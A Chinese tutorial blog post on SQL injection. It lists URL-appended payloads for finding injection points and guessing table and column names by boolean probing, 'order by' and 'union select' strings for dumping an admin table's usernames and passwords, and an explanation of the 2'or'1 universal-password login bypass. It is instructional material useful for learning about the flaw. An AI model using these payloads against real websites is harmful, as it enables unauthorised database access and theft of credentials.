SQL注入

SQL注入

  • 在url结尾的链接依次添加语句'and1=1and1=2来判断网站是否存在注入点。
  • 然后添加语句
and exists(select * from admin)

根据页面返回结果来猜解表名

  • 添加语句
and  exists(select admin from admin)

来猜解admin表中的列名admin

  • 添加语句
and (select top 1 len(admin) from admin)>1

来猜解字段长度
通过以上四个步骤,反复猜解,即可得到数据库存储的用户名和密码

联合查询注入技术
  • 在链接后面添加语句
order by 11(任意数字)

根据页面返回结果,来判断站点中的字段数目

  • 在链接后面添加语句
union select 1,2,3,4,5,6,7,8,9,10,11 from admin(表名)

进行联合查询,来暴露可查询的字段编号

  • 由上步的字段编号,添加语句
union select 1 ,admin,password,4,5,6,7,8,9,10,11 from admin

直接暴露管理员用户名和密码

SQL注入-万能密码注入

用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就要执行SQL语句。当用户登录某网站时,后台执行的数据库查询操作(SQL 语句)是:

select user_id,user_type,email from users where user_id = '用户名' and password = '密码'

因为网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名admin和万能密码2'or'1时,执行的语句是:

select user_id,user_type,email from users where user_id = 'admin' and password = '2' or' 1'

同时,由于SQL语句中逻辑运算符具有优先级,=优先于and,and优先于or,且适用传递性。因此,此SQL语句在后台解析时,分为两句

select user_id,user_type,email from users where user_id = 'admin' and password = '2'  和' 1'

两句bool值进行逻辑or运算,恒为TRUE。SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • [SQL注入攻击] SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式...
    James黄杰阅读 2,726评论 0 30
  • 姓名:于川皓 学号:16140210089 转载自:https://baike.baidu.com/item/sq...
    道无涯_cc76阅读 1,980评论 0 2
  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 5,687评论 0 1
  • SQL注入 概念 危害 原理 实例 防御 基础 - ### SQL语句所用符号不同数据库的sql注入与提权常见S...
    yddchsc君阅读 1,370评论 1 10
  • 2018.7.4 星期三 天气 晴 亲子日记第150天 今天儿子做的两件事情都值得表扬:一:上午,自己在...
    吉祥三宝159阅读 240评论 0 2